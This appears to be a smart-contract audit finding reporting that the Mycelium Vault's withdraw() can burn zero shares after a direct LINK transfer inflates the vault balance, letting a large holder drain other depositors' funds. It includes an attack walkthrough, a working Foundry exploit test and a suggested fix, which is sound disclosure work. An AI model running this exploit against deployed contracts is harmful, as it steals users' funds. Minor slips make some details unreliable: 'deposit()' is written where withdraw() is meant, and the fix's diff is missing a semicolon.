joestakey

high

# withdraw() can burn 0 shares, resulting in user stealing LINK from Vault

## Summary
`withdraw()` transfers `_amount` of `LINK` to the caller, regardless of the amount being burnt in `_burnShares()`. If the `totalSupply()` is high enough, a user can drain the `LINK` in `Vault` without burning any share.

## Vulnerability Detail
`deposit()` calls
```solidity
_burnShares(msg.sender, convertToShares(_amount));
``` 
which calls `convertToShares(_amount)` to determine how many shares must be burnt.
`convertToShares` uses `totalSupply()`, ie all the LINK that is held in the `Vault` -  and the plugins.
By transferring a sufficient amount of `LINK` to the `Vault`, a user can make `withdraw()` calls that will not burn any share, effectively stealing `LINK` from the `Vault`.

## Impact
A user can technically drain all the `LINK` in the `Vault`. But the amount of `LINK` they need to deposit before the attack is:
- proportional to the amount already present in the `Vault` (ie as more deposits happen, the more funds the attack will require).
- much larger than the amount of LINK in the Vault (because of `STARTING_SHARES_PER_LINK`).

While still profitable, it can only be performed by a `LINK` "whale".

## Proof Of Concept

- Alice calls `deposit(1e15)`, depositing `1e15` unit of `LINK`. She receives `1000` shares.
- Bob calls `deposit(1e15)`, depositing `1e15` unit of `LINK`. He receives `1000` shares.
- Bob transfers `2e18 LINK` to the `Vault` using the `ERC20.transfer()` method.
- Bob calls `withdraw(1)` to redeem shares.
- `totalSupply = 2e18 + 2e15 > 1 * totalShares == 2e18`. So the amount of shares being burnt is `0`.
- Bob receives `1` LINK, but has not burnt any share. He can repeat the process to drain the Vault of its `LINK`, effectively stealing from other users.

Run this test - you can add it to `deposit.t.sol`:

```solidity
address Alice = address(1);
address Bob = address(2);
function testSmallWithdrawDrainVault() public {
    uint256 amount = 1e15;

    vm.startPrank(Alice);
    link.mint(Alice, 10e18);
    link.mint(Bob, 10e18);
    
    link.approve(address(vault), 10e18);

    uint256 balanceAliceBefore = link.balanceOf(Alice);
    //Alice deposits 1e15 LINK
    vault.deposit(amount);

    assertEq(vault.totalSupply(), amount);
    assertEq(vault.balanceOf(Alice), amount);
    assertEq(vault.shares(Alice), amount * vault.STARTING_SHARES_PER_LINK());
    vm.stopPrank();

    // Bob deposits 1e15 LINK in the Vault
    vm.startPrank(Bob);
    link.approve(address(vault), 10e18);
    vault.deposit(amount);

    assertEq(link.balanceOf(address(vault)), 2 * amount);
    assertEq(vault.totalSupply(), 2 * amount);
    assertEq(vault.balanceOf(Alice), vault.balanceOf(Bob));
    //Bob transfers 2e18 LINK to the Vault
    link.transfer(address(vault), 2* 1e18);
    //Bob calls withdraw
    uint256 balanceBobBefore = link.balanceOf(Bob);
    uint256 sharesBobBefore = vault.shares(Bob);
    vault.withdraw(1);
    uint256 balanceBobAfter = link.balanceOf(Bob);
    // Bob received 1 unit of LINK
    assertEq(balanceBobAfter - balanceBobBefore, 1);
    // Bob did not burn any share
    assertEq(vault.shares(Bob), sharesBobBefore);
    vm.stopPrank();
}
```
## Code Snippet
https://github.com/sherlock-audit/2022-10-mycelium/blob/main/mylink-contracts/src/Vault.sol#L159-L161

## Tool used
Manual Review, Foundry

## Recommendation
In `withdraw()`, add a check to ensure there is a non-zero amount of shares being burnt.

```diff
-159:         _burnShares(msg.sender, convertToShares(_amount));
+             uint256 sharesToBurn = convertToShares(_amount);
+             require(sharesToBurn >0, "shares amount must be non zero")
+             _burnShares(msg.sender, sharesToBurn);
```